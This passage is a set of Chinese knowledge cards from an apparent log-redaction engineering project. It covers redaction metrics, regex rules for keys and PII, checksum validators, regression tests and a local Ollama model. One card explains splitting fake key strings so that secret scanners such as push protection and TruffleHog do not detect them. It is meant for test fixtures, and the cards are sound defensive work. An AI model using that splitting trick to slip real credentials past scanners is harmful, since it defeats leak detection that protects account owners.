四把尺:精确到字符区间的查准率/查全率(precision/recall,找得准、找得全);残余泄露——脱敏后仍漏掉的敏感内容量,对应 NIST 脱标识指南的 disclosure risk(泄露风险);效用——脱敏后日志还剩多少排障价值,对应同一指南的 data utility(数据效用),是官方承认的一对此消彼长;延迟——单条处理耗时。

误报的安全代价(over-redaction and alert fatigue)

是什么:误报(把正常内容错当敏感信息脱掉)在脱敏场景里本身就是安全问题,不只是体验瑕疵——它会沿两条独立的路径闯祸:毁证据、养疲劳。

解决什么问题:路径一,脱敏过度毁掉日志的调试价值。日志是给排障人看的,比如排障要看的正常长数字被当成手机号替换成 [REDACTED_PHONE],出事故时现场证据就缺了一块,应急响应变瞎。这正是 NIST 脱标识指南里的隐私-效用权衡(privacy-utility trade-off:隐私抹得越狠、数据剩得越少)在脱敏强度上的直接体现。路径二,规则天天误报会养出"狼来了效应"——学名 cry wolf effect(心理学家 Breznitz 于 1984 年提出),安全圈的对应说法是告警疲劳(alert fatigue:警报太密,真警报被习惯性无视);入侵检测系统的误报控制实验定量证实过:重复的误报会侵蚀值

守者的信任与警觉。要补一句边界:这条效应的直接实验证据出自入侵检测与告警场景,搬进脱敏领域属类比推理,并非脱敏自己的实验数据,但作为经验事实站得住。所以脱敏的目标函数是"该脱的都脱了,不该动的原样留下",而不是"脱得越多越好"。

我们的办法:负例(长得像敏感信息、其实不该被脱的正常考题)与正例同场进考卷,把"不该动的原样留下"当硬验收;评估里的效用一项按安全指标对待,不当工程质量指标。

证据强度分级(evidence strength for redaction decisions)

是什么:证据强度指每条脱敏决定留下的"为什么脱它"的可举证程度(英文行话更常说 analysis explanation 或 decision process——分析说明、决策轨迹),不同脱敏技术差别悬殊、可排成一条谱。确定性规则证据最强——比如命中依据是正则 `1[3-9]\d{9}` 加行号,重跑一遍即可复核,Presidio 的决策轨迹(decision process)就是工程化形态:每条命中记录"哪个识别器、哪条正则、置信度多少"。命名实体识别(NER, Named Entity Recognition, 用统计模型从文本里认出入名、电话等实体的技术)居中,能给实体的位置区间;端侧小模型最弱,只剩"觉得这里敏感"的判断,复盘时说不清理由。

解决什么问题:可解释性是安全硬需求,而且有合规锚点:GDPR(欧盟通用数据保护条例)的问责原则要求数据控制者"能够证明"自己合规,拿不出证据就约等于没做。证据强度因此决定了哪个数据出口敢配哪层引擎——要向第三方交代的出口配证据强的,内部体验类出口才敢配证据弱的。这谱还缺半边:证据只能解释"检出了什么",解释不了"漏了什么"。Presidio 官方对决策轨迹的承诺只有前半——文档写它"保存追踪信息,解释这些 PII 实体为什么被识别"(hold tracing information to explain why PII entities were identified);没命中的东西不产生轨迹,"为什么漏了"从原理上就不在这条轨迹里。所以拍板前要看两个维度:证据从可举证到不可举证是一条,漏检不可见是另一条。

我们的办法:收官时按这张谱给三个数据出口逐个拍板,各配哪层由证据强度与出口风险共同决定。

三个出口:记忆库文件(已配 Presidio); trace 观测平台(trace, 跨组件的完整调用记录);本地日志文件。

日志脱敏复刻0001-骨架与样本集 —— 知识卡片

考卷先行与负例并存(test corpus first, negatives included)

是什么:这是给安全防御系统造测试集的两条顺序纪律:标注好的样本集(在本项目里叫"考卷"[自造]——它就是后面所有脱敏规则的考试题)必须在防御逻辑动手之前定稿;"负例"(长得像敏感信息、其实不该被脱的正常内容)必须和真敏感的正例同一天进考卷——负例与正例,必须在第一条规则写出之前入册。"考卷先行"有现成的行话对应:留出测试集纪律(hold-out test set, 动手前封存、验收才启用的考卷),更早的同构是临床试验预注册(pre-registration, 医学期刊编辑国际委员会 ICMJE 的规矩:先注册方案、后招募受试者)。“负例”也有正式定义可挂——软件测试行规 ISTQB(国际软件测试资格认证委员会)给负面测试(negative testing)的官方定义是:按组件或系统"本来不打算被使用的方式"去测它。

为什么重要:顺序反了会得两种病。其一,引擎写完再造考卷:规则会照着自己能做的样子出题,先有答案后出题就成了自我循环,考出来的成绩是虚的。机器学习评测给这类病起过正式名字:测试集污染(test set contamination, 又称 benchmark data contamination——被评估的模型考前接触过考题,评测结果失真);"规则作者顺手出题"是同族病,病根都是出题人与被考者不独立。其二,考卷里若全是敏感正例,规则作者会默认"宁可错杀",把日志里所有长得像的都脱掉;而日志是给排障人看的,脱过头就废了。负例的存在,逼着每条规则从第一天起就回答"你会不会误伤它"。

我们怎么用:样本集一次配齐三类:密钥类与 PII(Personally Identifiable Information, 个人身份信息)类两类正例,外加负例;并把脱敏的目标函数写成"该脱的都脱了 + 不该动的原样留下"——负例就是后半的验收员。比如长得像手机号的纳秒耗时数字,就是一条负例。

同串异义自造

是什么:同串异义是格式类脱敏的死穴:同一串字符在不同日志语境里语义完全不同,只看格式的规则引擎无从区分,识别只能赌。

一串数字的两次命运:教学样本的客服对话里,用户说"身份证号是 11010119900307721X,手机号 13800138000",这条里的 13800138000 真是手机号。它 11 位、138 开头,手机号正则 `1[3-9]\d{9}` 命中得没毛病;性能日志 `latency_ns=13800138000` 里的同一串数字却是一段纳秒级耗时,形状与手机号一模一样,正

则见了照样两眼放光。真把它替换成 [REDACTED_PHONE]，运维只会一头雾水:我的延迟数据呢？

解决什么问题:这个现象同时撑起误报与漏报两头:形状像就脱，把耗时当手机号，日志被毁；反过来，自然语言口令(如"我网银密码是 Blue moon over river 77")没有格式可查，格式规则永远看不见。补缝的办法分三层。第一层是校验位：银行卡的 Luhn 校验(官方出处是 ISO/IEC 7812-1 标准)定位是错误检测——按模 10 加权求和，专为抓手工输入笔误、OCR(光学字符识别)误读、相邻数字换位这类偶然错误而设计。所以校验位能排除抄写错误与部分伪造，但不能证明卡号真实存在；身份证末位校验同理，验的是"没抄错"，不是"真被签发"。第二层是上下文提分：Presidio(微软开源的 PII 识别与匿名化引擎)的上下文增强是官方实现。一条只是形状像手机号的弱命中，初始分低到 0.01，上下文里出现"手机"这类词就加权到 0.46(数字取自 Presidio 官方教程示例：弱命中 0.01，加上下文相似分 0.45 后为 0.46)。它还支持请求级上下文：把字段名、列名当上下文传入，正文里没出现那个词也能提分——结构化日志的 schema(字段结构约定)自带字段名，等于免费的语境分。第三层才是 LLM(大语言模型)：纯自然语言里的语境与语义裁决，只有 LLM 类引擎能商量。

我们的办法:把一正一负两条同串样本一起钉进考卷，作为规则引擎已知会误报、语义引擎该救回来的经典考题；两种引擎孰能兜住，留给基准数据验证。

假值样本构造纪律自造

是什么:这是一条"样本文件自己不能变成泄露源"的工程纪律。测试集里的敏感信息全部用假货，但假货要造得讲究:要么让密钥扫描器认不出，要么用全世界都知道是假的著名假值。

两个手法:手法一，拆字符串拼接。把假密钥写成 "sk" + "-proj-ABCD..." 两半：密钥扫描器(GitHub 的 push protection、TruffleHog 这类在代码里搜真实密钥的工具)按 sk-proj- 前缀做字面量/模式匹配，拆开后源码里不存在完整字面量，扫描器不报警；而程序运行时拼接出的完整假密钥，照样能拿来考正则引擎。GitHub 的机制分两层：推送时按模式拦截(push protection)是预防层，代码入库后的 secret scanning 告警是事后层。TruffleHog(开源密钥扫描器)更进一步：命中后会拿这把钥匙去真调一次服务，给出 verified/unverified/unknown 三态结论，假钥匙过不了验证、落的是 unverified，不是命中即报警。手法二，著名假值。4111 1111 1111 1111 是支付行业通行的公开测试卡号——支付服务 Braintree(PayPal 旗下)的沙箱文档官方将其列为 Visa 测试卡，支付公司 Stripe 的官方测试卡则是 4242 4242 4242 4242；各家测试卡的共同点：测试卡号按行业惯例不会被签发为真卡，但 Luhn 校验能通过。AKIAIOSFODNN7EXAMPLE 是 AWS(亚马逊云服务)文档里的官方示例密钥——格式完全合规，却人人皆知是假的。

解决什么问题:不讲纪律的测试样本是颗自埋的雷：样本文件被扫描器报警、被当成真密钥走泄露处置，甚至随仓库外流都说不清。连 AWS 官方文档都告诫开发者"不要把访问密钥或凭据信息写进应用文件"——官方都怕人把真的写进去，测试样本更不能长得像真的。纪律让样本做到"格式真实到能考引擎，来源清白到不怕扫描"。这背后还有个通用事实：源码里的字面量与运行时拼出来的值，是扫描器看到的两个世界。

我们的办法:样本集全部照此办理——密钥类一律拆字符串拼接，卡号与云密钥用文档公测的著名假值，全套样本零真密钥。

日志脱敏复刻0002-规则引擎密钥类 —— 知识卡片

重叠裁决[自造]:具体优先、通用兜底(match overlap adjudication)

是什么:重叠裁决自造是多条规则同时命中同一段文本时的取舍机制——命中按"规则优先级、出现位置"排序,排前的先登记字符区间,后来的发现区间被占就让位。排序背后是一条设计原则:格式具体的专属规则排前,行为宽泛的兜底规则排后。

解决什么问题:规则之间会互相看中同一处敏感值,谁赢决定占位符标签准不准。比如请求头里的 Bearer sk-proj-ABCD...:宽泛的 bearer_token 规则认"Bearer 后面跟令牌"这个形状,专属的 api_key 规则认 sk- 开头的密钥格式,两条都想脱这一段。专属规则赢了,结果就是更精确的 Bearer [REDACTED_API_KEY];兜底规则若赢,标签就变糊。同理 token: xoxb-...:兜底的"token: 赋值"规则想抓整串,专属的 Slack 令牌规则排在前头只把 xoxb- 值收走,键名 token: 原样保留。Presidio(微软开源的 PII 识别与匿名化引擎)按分数裁决,把上下文线索与校验结果折算成分数,高分命中吃掉低分(互不包含时);一段若整体包住另一段,它取更长的那条,哪怕分数更低。detect-secrets(开源密钥检测工具)按(类型, 位置, 哈希)去重合并;gitleaks(开源密钥扫描器)让各规则独立上报、互不压制。需要说明:这三家都不拿"数组顺序"当字符区间级的占坑裁决;我们选的顺序裁决是另一支,Presidio 选的是 score 裁决(按可信度分数定胜负)。顺序裁决是简化设计,代价是高优先级区间一旦占坑,本该命中另一子段的规则直接出局,两条无法共存。

我们的办法:规则表的排列顺序就是优先级,刻意把格式具体的放前、宽泛兜底的放后——顺序排错,兜底规则会抢走专属规则的地盘,占位符标签跟着全糊。实测这处双命中落成 `Bearer [REDACTED_API_KEY]` 而不是 `[REDACTED_BEARER_TOKEN]`。

捕获组与 `span(capturing group)`

是什么:捕获组是正则表达式里用圆括号圈出的"命中中的一小节"——整条正则匹配的范围可以很大,括号里的组单独圈出真正要脱的那截;`span` 是这截文字在原文里的起止坐标,Python 的 `m.span(g)` 返回第 `g` 组的 `(start, end)`。打个比方:安检翻包,整箱行李是匹配范围,只没收刀(捕获组),箱子和其他物品原样还你。

解决什么问题:脱敏的精细度全靠它,口诀是"键名是结构,值才是秘密"。连接串 `postgres://admin:S3cr3t_P4ssw0rd@db.internal:5432/prod` 里只有口令是秘密,用户名与主机名得留着——排障要靠它们定位是哪台库;正则 `://[^\s:/@]*:( [^\s@]+)@` 整段命中,组 1 只圈口令,替换就只动组 1 的区间。三个使用细节:`\b`(词边界)防 `xsk-xxx` 这类粘连误匹配;`(?i)` 表示忽略大小写;组存在但没为匹配贡献文字时(Python 官方措辞 "exists but did not contribute to the match"),`span` 返回 `(-1, -1)`、`group()` 返回 `None`——两种判法等价,先过滤掉再用。一条规则有几种可选写法时组号可以是元组:兜底规则的 `(1, 2, 3)` 对应双引号值、单引号值与裸值三种写法,哪组参与了就用哪组。工业对照:gitleaks(开源密钥扫描器)规则里也有同一个概念 `secretGroup`,官方释义是 "Int used to extract secret from regex match"(一个整数,用来从正则命中里抽出秘密),指明抽哪一组当秘密;它的扫描报告里,一条记录(叫 Finding)同时带两个字段:`Match` 存整段命中,`Secret` 只存按 `secretGroup` 抽出的那一截文字。

我们的办法:每条密钥规则在规则表里声明自己的捕获组号,引擎只对组区间做替换、区间外的字符原样拼回;实测连接串脱成 `postgres://bob:[REDACTED_URL_CRED]@db:5432/x`,除口令外一字未动。

类别标签占位符(category-labeled placeholder)

是什么:类别标签占位符是替换敏感值时写明类别的占位符,如 `[REDACTED_JWT]`、`[REDACTED_SLACK_TOKEN]`、`[REDACTED_CREDIT_CARD]`,与无差别的 `[REDACTED]` 相对。它是给排障人留的门牌:看到标签,就知道这个位置曾是什么。

解决什么问题:日志脱敏不该摧毁可排障性。全换成无差别占位符,日志只剩"这里有个秘密"的废话——分不清曾是个 JWT、一张卡号还是一段连接串口令,排障线索断在占位符上。带类别的占位符把"曾是什么"留在现场,配合键名保留(如 `token: [REDACTED_SLACK_TOKEN]`),上下文依然可读。行业里这一做法有三个出处。Presidio(微软开源的 PII 识别与匿名化引擎)默认就拿实体类型当占位符,输出 `<EMAIL_ADDRESS>` 这类——与本项目同一约定,都是占位符携带类别名;但外观格式不同,它用尖括号、无 `REDACTED` 字样,而 `[REDACTED_*]` 这个前缀也没有官方成文标准,属本项目自定的外观格式。Google DLP(谷歌云的数据防泄漏服务)有个 `ReplaceWithInfoTypeConfig` 选项,官方描述就是"用 `infoType` 的名称替换每个命中"。OWASP(开放式 Web 应用安全项目)把敏感数据的处理归纳为五种:`removed`(删除)、`masked`(打码)、`sanitized`(净化)、`hashed`(哈希)、`encrypted`(加密)——带类别占位符更接近 `masked/removed` 之间的一种可读化变体。OWASP 对会话 ID 还专门提示:若需追踪会话级事件,可考虑换成哈希值——"保留可追踪性"有官方背书。

我们的办法:每条规则配一个专属占位符,命中即按类别替换;实测 4 条密钥样本共命中 7 处,各处都带着自己的类别标签,键名全部原样。

日志脱敏复刻0003-校验器 —— 知识卡片

校验位验证(checksum validation / Luhn algorithm)

是什么:校验位验证是用固定数学算法检验"一串号码是不是按规则生成的"的方法——这类号码的末位由前面各位加权算出,随手编的号算出的校验位对不上。代表是 Luhn 算法(Luhn algorithm,又叫模 10 算法):从右往左数第 2、4、6...位翻倍,翻倍超 9 就减 9,总和能被 10 整除才算过。中国身份证与它同属校验字符系统(check character system,给号码末尾附加一个由全串算出的核对字符的体系),但模数与权重表不同:前 17 位各乘一张固定权重表后求和、对 11 取余、查表 "10X98765432" 定出第 18 位。两套算法都挂在标准上:Luhn 被收入 ISO/IEC 7812-1(规定卡号编号体系的国际标准,支付卡号是其最主要应用)的附录,身份证这套 mod 11 加权法则写在 GB 11643-1999《公民身份号码》里,思路与 ISO 7064(校验字符系统的国际标准)相通。

解决什么问题:正则只认形状,而形状像卡号的数字串满日志都是——订单号、时间戳、纳秒延迟。全脱会毁掉日志的调试价值,不脱又怕漏真卡,把正则写得更复杂救不了这个矛盾;校验位补的是"真伪"这一层:正则管形状(几位、什么分隔符),校验器管真伪(校验位对不对)。一对孪生卡号的判决最直观: 4111 1111 1111 1111 算出的末位恰好把总和凑成 10 的倍数,被脱成 [REDACTED_CREDIT_CARD]; 4111 1111 1111 1112 只差末位、总和不对,原样放行。Luhn 的能力边界有公开资料的定量表述:单个数字抄错全能检出,相邻换位几乎全能检出,唯独 09 与 90 互换这一对检不出; 22↔55、33↔66、44↔77 这类双写错同样漏网。证件号同理:样本 11010519491231002X 加权总和 167、对 11 取余得 2、查表第 2 位是 X,与末位吻合,判真格式、脱——这个样本一字不差就是 GB 11643-1999 附录 B 的官方算例,等于拿国标例题当考题。边界要记牢:校验位验的是"没编错",不是"真被签发"——它防笔误与随手伪造,防不住刻意造的、真实存在的假号。

我们的办法:规则带校验器的就再验一道,不过的命中直接丢弃——实测假卡与假证原样放行、真卡真证被脱。一行算法把"格式对但实质错"的误报砍掉一大半,自测耗时在微秒级且零依赖,不用劳驾任何模型。

校验器列[自造]与策略注入(validator column, strategy injection)

是什么:校验器列自造是把"这个命中可信吗"的判断做成纯函数、再当作一列挂到识别规则上的设计——规则条目从四元组升成五元组:类别、占位符、正则、分组号、校验器。校验器只收一个字符串、返回布尔值,它是策略模式(strategy pattern,把一截判断逻辑封装成可替换组件)的函数版:不另建类层次,直接把函数对象(回调)当策略注入。权威原型是 Presidio(微软开源的 PII 识别与匿名化引擎):它的识别器基类留了一个可覆写的 validate_result 方法,官方文档原话是 "Validate the pattern logic e.g., by running checksum on a detected pattern"(验证命中的模式逻辑,比如跑一遍校验和)。返回 True 把评分抬到最高、False 压到最低。它还接受第三种返回值 None,表示校验器弃权、维持原有评分。

解决什么问题:校验逻辑若写死在主流程里,每添一种算法(卡号 Luhn、身份证 mod 11)都得改主流程;做成规则表的一列,加新校验器不用动主流程一行,没有校验器的规则该行留空、直接跳过。接入只花一行: if validator and not validator(value): continue 。执行位置是本项目自己的顺序选择,不是行业通则。校验插在重叠裁决自造之前,校验不过的命中根本不进裁决池,不给它占坑的机会;Presidio 正相反,先按线索打分、再让校验改分、最后才做冲突裁决。

我们的办法:卡号与身份证两个校验器都以纯函数挂进规则表第五列,主流程零改动接入;取舍是多付一列的表宽度,换来校验逻辑可插拔。

考卷与引擎共同进化(test corpus co-evolution)

是什么:考卷自造与引擎共同进化,是测试集的一条维护机制。"考卷先行"(先定考卷、后写引擎)管动工前的顺序,这条管动工后的维护:考题的造假深度要超过引擎当时的验证能力。引擎能力一升级,旧考题会被当场照出原形,发现考卷错了要当场改。先例现成:SecretBench 专为密钥检测工具造带真值语料(97479 条样本标出 15084 条真密钥),变异测试(mutation testing,故意往代码里埋缺陷看测试能否抓到)用杀灭率(kill rate,被抓住缺陷的比例)度量考卷的捕捉力——活下来的假缺陷越多,考卷越松。

为什么重要:假样本造得不够假,评测会静默失真——用行话说,这叫真值标注(ground truth,当标准答案用的标注)出错。实例:早年抄来的证件号 11010119900307721X 校验码本身就是错的,只认形状的引擎看不出来,照脱不误,这道"正例"一直假性通过;数学校验器一上线,它立刻原形毕露——按算法这末位该是 3 而不是 X。若考卷不改,它会顶着正例名分继续记假账:引擎把它正确放行,反而像一次漏报。变异测试管这种没人识破的假货叫存活变异(surviving mutant),行话点破要害:活下来的假货,暴露的是考卷自身的不足。

我们怎么用:给旧假证号转岗——留在放行演示里,展示"校验器能识破随手编的号";同时补一道真格式的假证件号 11010519491231002X 当正例(加权总和 167,对 11 取余得 2,查表得 X,末位吻合——样本取自 GB 11643-1999 附录 B 的官方算例)。考题与引擎共同进化:引擎长出新验证力,就回头重审一遍考卷。

日志脱敏复刻0004-规则引擎PII收尾 —— 知识卡片

环视断言(lookaround assertions)

是什么:环视断言是一类零宽断言(zero-width assertion,只查位置、不吃字符)——它检查命中处的左边或右边跟(或不跟)某种字符,被检查的字符本身不算进命中范围。Python 官方教程形容它 "consume no characters at all, and simply succeed or fail"(一个字符都不占用,只做成功或失败的判断)。常用的一对: (?<!\d) 叫负向后行断言

(negative lookbehind, 左边不能是数字); `(?!\d)` 叫负向先行断言(negative lookahead, 右边不能是数字)——命名与 Python 官方文档一致。打个比方[自造]:安检只登记你本人,但会左右张望——紧挨着你的还是数字,说明你只是某条长号码中间的一截,整串放行、谁也不脱。

解决什么问题:手机号正则 `1[3-9]\d{9}` 只认形状(11 位、第二位 3 到 9),而长数字串里经常嵌着恰好像手机号的 11 位。没有环视, `code=9138001380009` 这串 13 位数字里嵌着的 `13800138000` 会被从中间截出来当成手机号,订单号、时间戳这类长数字列会成片遭殃;加上右环视后,候选两侧只要还有数字就整体不命中——实测这行输入原样放行。而 `call 13812345678 now` 里的真手机号两侧是空格,照常被脱成 `[REDACTED_PHONE]`。顺带把命名与边界钉死:总称"环视(lookaround)"是 PCRE(Perl Compatible Regular Expressions, 常用的正则引擎库)等社区的叫法,Python 文档只分称 lookahead/lookbehind assertion;环视写法在 Perl、PCRE、Python re 等主流引擎里通用,但并非 POSIX(跨平台操作系统接口标准族)这类正式标准的一部分。Python 还另有两条官方叮嘱:后行断言里的模式只能匹配定长文本("must only match strings of some fixed length", 违反直接报错), `(?<!\d)` 只看单个字符、天然满足;零宽断言官方明确告诫不要用量词去重复(匹配一次即可无限次,重复无意义)。

我们的办法:手机号规则写成 `(?<!\d)1[3-9]\d{9}(?!\\d)`, 两端各挂一道负向环视,实测长数字串放行、真手机号照脱;取舍是手机号没有卡号 Luhn(卡号末位的模 10 加权校验算法)那样的公开校验位可查,真伪无从机器判定,形状边界只能靠环视守。

类别计数汇总(category count summary)

是什么:类别计数汇总自造是脱敏跑完后按敏感信息类别累计命中数的报表——邮箱脱了几处、手机号脱了几处、信用卡脱了几处,一行一类。实现只需标准库的 Counter 扫一遍命中明细——官方定义它是 "a dict subclass for counting hashable objects"(为统计可哈希对象而生的 dict 子类),并把它类比成 "bags or multisets"(袋子、多重集)。两个官方细节对汇总很实用:查不存在的类别返回 0 而不是报 KeyError,累计时不用先判空;most_common() 里计数相同的元素按首次出现顺序排,并列类别的输出先后稳定。

解决什么问题:脱敏系统上线后,第一个被要求的指标就是它。只有逐条 before/after 明细,没人答得出"这个出口今天拦了多少敏感内容、构成如何"——审计要的是可加总的量,不是流水账。两个层面分工不同:明细回答"这一行为什么被改了",给人排障;汇总回答"今天拦了多少、都是什么类",给管理。实测一次完整跑的汇总输出:合计 15 处,手机号 3 处居首——其中一处来自长得像手机号的纳秒耗时数字,即已知误报(明知会报错、如实承认而不修的形状);其余类别各 1 处。

我们的办法:主流程在对比与命中明细之后追加一段 Counter 汇总;它与类别标签占位符(替换值自带类别名,如 `[REDACTED_PHONE]`)前后接力——占位符留住"这一处曾是什么",汇总算出"各类各多少",合起来就是审计报表的雏形。

日志脱敏复刻0005-离线回归pytest —— 知识卡片

认证挑战头(HTTP authentication challenge)

是什么:认证挑战头是服务器返回的"请出示凭据"响应头——RFC 7235(现由 RFC 9110 §11 承接)定义:它 "indicates the authentication scheme(s) and parameters applicable to the target resource"(指明适用于目标资源的认证方案与参数)。服务器返回 401(Unauthorized, 此处意译为未认证)响应时必须携带它,典型样子是 `WWW-Authenticate: Basic realm="api"`。它与请求方发出的凭据头(形如 `Authorization: Basic ...`、真正携带密钥,RFC 说 Authorization "allows a user agent to authenticate itself"——让客户端证明自己)同样带 Basic 字样、长得几乎一样,语义却完全相反。凭据头是"这是我的密码本,拿去";挑战头是"请出示密码本",里面根本没有秘密。

解决什么问题:形状类脱敏规则容易把两个头一锅端,可脱挑战头是纯误伤——它只声明服务器接受哪种认证方案,一个密钥都不含。而且这类头在日志里躲不掉:规范明文禁止代理改写 WWW-Authenticate 与 Authorization 这两个字段("MUST NOT modify"),它们是合法、必然大量出现在日志里的内容——脱挑战头不是在除害,是在误伤。realm 是其中的参数,官方措辞是 "a scope of protection"(保护范围);RFC 7617 补充说它只是 "free-form string that can only be compared for equality"(自由格式的字符串,只能比较是否相等)。我们的规则天然挡得住,靠的是只认字面键名:Basic 认证规则要求文本出现字面单词 Authorization,挑战头里只有 WWW-Authenticate,对不上;realm 也不命中引擎里那条"形如 键名=值 就当密钥脱"的兜底规则的键名表,于是零命中、原样放行。

我们的对策:把这条边界写成回归断言 `assert sanitize('WWW-Authenticate: Basic realm="api"') == (原文, [])`——文本不变与零命中两个条件都要;将来谁把正则放宽成 `(?i)\bAuth\w*:\s*Basic` 这类模糊匹配,这条断言立刻亮红。

断言式回归测试(pytest)

是什么:断言式回归测试自造是把"引擎行为对不对"写成一行行 `assert`(断言:机器可判定的等式,不成立就报错)、每次改动后自动重跑的验证方法。回归测试按 ISTQB(国际软件测试资格委员会)v4.0 的说法属于变更相关测试(change-related testing)——验证改动之后,没被改到的部分依旧正常。pytest 是被广泛使用的 Python 测试框架——官方文档的自我介绍很朴素:"helps you write better programs"(帮你写出更好的程序)。它会自动发现文件名 `test_` 开头或 `test` 结尾的测试文件与 `test` 开头的函数,逐个执行、失败即亮红。和手跑脚本看输出的区别:脚本输出的对错靠人眼判断,人眼会累会漏,assert 不会。失败时框架还自动打印断言两侧的实际值,不用自己写 `print` 调试——这招官方叫断言重写(assertion rewriting):`assert` 语句在运行前被改写,把内省信息直接放进失败消息里。

为什么重要:规则既是资产也是负债:每条正则都在特定形状上生效,改任何一条(嫌正则太长、把下限调短)都可能让别的规则误伤别的文本,没有回归时这种伤是无声的。测试把"我以为还是对的"与"它真的是对的"之间的差距,变成机器可判定的一行红字。纯规则引擎的测试不碰网络、不碰模型,全套 0.01 秒跑完,快到可以每次改动都跑——真正贵的是没有它之后的排查。

我们怎么用:给规则引擎配了 7 个边界测试,每个锁一个曾差点写错的地方——· 截断的 PEM 私钥块(文本格式的密钥块);· 带空格的自然语言口令;· 认证挑战头(服务器索要凭据的响应头)。命名即文档:函数名直接写行为结论(如 `test_basic_auth_redacted_prose_and_challenge_not`),要脱什么不脱什么全在名字里;注释讲为什么这是边界——规则会换写法,边界不会换。

两档负例自造

是什么:两档负例自造是把负例(长得像敏感信息、其实不该被脱的正常文本)按"回归里怎么处置"分成两档的设计。"必须干净"档指引引擎应完全放行的文本,如口令规范说明、干净的业务日志——它们进回归,命中即红。"已知误报"档指形状必然骗过格式规则的文本,如长得像手机号的纳秒耗时 `latency_ns=13800138000`——如承认它会中招,故意不锁进"必须干净"。方向要钉死:这里的负例指"预期零命中、应当放行"的文本(度量里的真负例),与 ISTQB 的 negative testing(故意用系统没被预期的方式去喂,看它能不能正确接住)方向相反,不是一回事。

为什么重要:回归套件是一份长期承诺:锁进什么,就得一直做到什么。把已知误报锁成"必须干净",测试要么永远红着、逼人写出错误的规则,要么逼人删掉承诺——两种结局都让回归说谎。留在套件外,它才能在后续基准评测里当真值负例(即不敏感、理应放行的样本),算出真实的查准率(precision,报出的命中里真敏感项的占比)。这个指标的经典公式(scikit-learn 文档)是 $tp/(tp+fp)$,其中 tp =真阳性(真敏感被报出)、 fp =假阳性(不敏感被误报),最好值为 1。这套分档挂靠的度量概念是误报(false-positive result,ISTQB 的定义:缺陷并不存在、测试却报了缺陷的结果)——"已知误报"档就是承认这类结果存在,但不让它们绑架回归。做法上最接近 WAF 和杀毒软件的误报调优与例外管理,行业里没有现成的标准词条,定位是项目设计约定,并与查准率的度量惯例接轨。这条与"先定考卷再动工"分工:考卷自造管动工前样本怎么定,这条管动工后哪些负例进自动化回归。

我们怎么用:"必须干净"档与正例行为一起构成引擎的 7 个回归测试,全绿才算完工;"已知误报"档留在样本集里、不进断言,预留给后续基准评测量化成查准率损失。以后每添一条新边界,先问一句:它是"必须干净",还是"已知误报"?

日志脱敏复刻0006-Ollama起步 —— 知识卡片

Ollama 本地模型服务器(Ollama, local model server)

是什么:Ollama 是一个跑在本机上的开源模型服务器,把"在本机跑一个大模型"简化成"调一个 HTTP 接口"——模型加载、内存/显存管理、推理全被它包进后台,对外只剩请求进、token 流出。官方定位语最近从 "Get up and running with large language models" 换成了 "Start building with open models",README 原话是 "Ollama has a REST API for running and managing models"。底层推理引擎是 llama.cpp(把大模型权重在本机 CPU/GPU 上跑起来的开源引擎)。qwen3:0.6b 是它拉到本地的一个 0.6B(约 6 亿参数)小模型——这种与调云端 API 相对的本地部署,业界通称端侧模型(on-device LLM,指模型驻留在用户设备上推理)。

权重到底住在哪:驻留的官方措辞是 "loaded into memory"——模型可整体驻留 GPU 显存、整体驻留 CPU 内存或两者混合(ollama ps 命令的 Processor 列直接可见);实测这台机器上 0.6B 整体进了 GPU,推理走的是 llama.cpp 的 Metal 后端(Metal 是 Apple 的 GPU 编程接口,属 llama.cpp 的 macOS 后端;Ollama 官方文档只一句带过 'via the Metal API',具体到哪层后端由实测确认)。

解决什么问题:语义类检测任务(病历描述、自然语言口令)没有稳定格式,正则永远写不出,需要"看得懂语义"的模型;可日志恰恰是最不能出门的数据——把日志发给云端模型 API,等于亲手把要保护的秘密送出门。端侧部署解开"要语义"与"要保密"的两难:模型搬到数据跟前,而不是数据去找模型,脱敏链路因此全程零外发。这与本地凭证代理(把凭据留在本机、由代理层代为取用的访问设计;已有专卡)是同一安全取向:敏感的东西不动,让计算方上门。

我们的办法:环境用 brew(Homebrew,macOS 常用的包管理器)安装 Ollama 并注册成开机常驻服务,再拉取约 500MB 的 qwen3:0.6b,调用不装官方 SDK、走原生接口加标准库。实测向 `http://127.0.0.1:11434/api/chat` POST 一条提取手机号的冒烟请求,约 2 秒拿回正确结果,数据全程不出本机。

JSON Lines 流式响应(JSON Lines streaming)

是什么:JSON Lines 流式响应是流式接口的一种返回形态——回答不是攒齐一整块给,而是一行一行到;每行是一个独立成立的小 JSON 对象,对应模型新吐出的一小段文字(token,模型计量文本的最小单位)。Ollama 的聊天接口用请求体里的 "stream" 字段切换:true 逐行滚、适合边生成边看,false 攒齐一次给全。

协议细节:JSON Lines 有三条硬规则:每行必须是一个合法的 JSON 值(规范原话 "Each Line is a Valid JSON Value");编码统一 UTF-8 且不带 BOM(文件开头的字节序标记);行终止符统一是 '\n',空行不合法。最后一条直接决定逐行读流解析器的正确写法——空行不能想当然当分隔符默默跳过,按规范它是协议异常,至少要显式处理。最后一行带 "done":true,顺路捎上账单——总耗时、输入 token 数(prompt_eval_count)、输出 token 数(eval_count);官方还规定接口里所有时长字段的单位一律是纳秒,换算毫秒要除以一百万。账单之外还有一个 done_reason(结束原因字段):stop 是正常生成完,load/unload 则把"刚完成模型加载/模型被卸载"这种服务器内部状态直接暴露进协议——冷加载发生了没有,协议自己会招供。JSON Lines 本是给文件交换用的格式,Ollama 借它当 HTTP 响应体;云端 OpenAI 系流式用的是 SSE(Server-Sent Events,另一种逐行事件格式)而非 JSON Lines——换到云端,解析得另写。

一个会思考的模型长什么样:qwen3 这类推理模型(作答前先在内部过一遍思考)会先在 message.thinking 字段里滚思考过程——如"嗯,用户让我用一句话介绍自己...";正文随后到,落在 message.content 字段。思考与正文分字段,解析方就能只取 content、跳过思考,思考吃了多少 token 也一目了然——实测一次回答统计里输出 248 token,大头是思考。得认清"谁负责拆":Qwen3 模型自己的输出文本层,原样仍是 <think> 标签;是 Ollama 在 API 层把它拆进 message.thinking 字段——"拆思考"是推理服务的功劳,别记到模型头上。要不要拆还能由请求控制:请求体里的 "think" 参数(布尔或思考档位)直接开关思考。直连模型文本层时,思考就是混在正文里的标签,得靠字符串解析剥出来(同族麻烦已有"OpenAI 兼容端点"专卡);顺带的体会——协议读文档不如打一遍接口实在。

我们的办法:用标准库逐行读流,解析时跳过 thinking 只取 content,拿 done 行的统计字段当延迟与 token 指标的直接来源——空行不合法有规范背书,遇到就按异常对待。实测流式模式下三段边界清楚——思考行先滚,正文行随后,done 行收尾。

代码围栏包裹问题(markdown code fence wrapping)

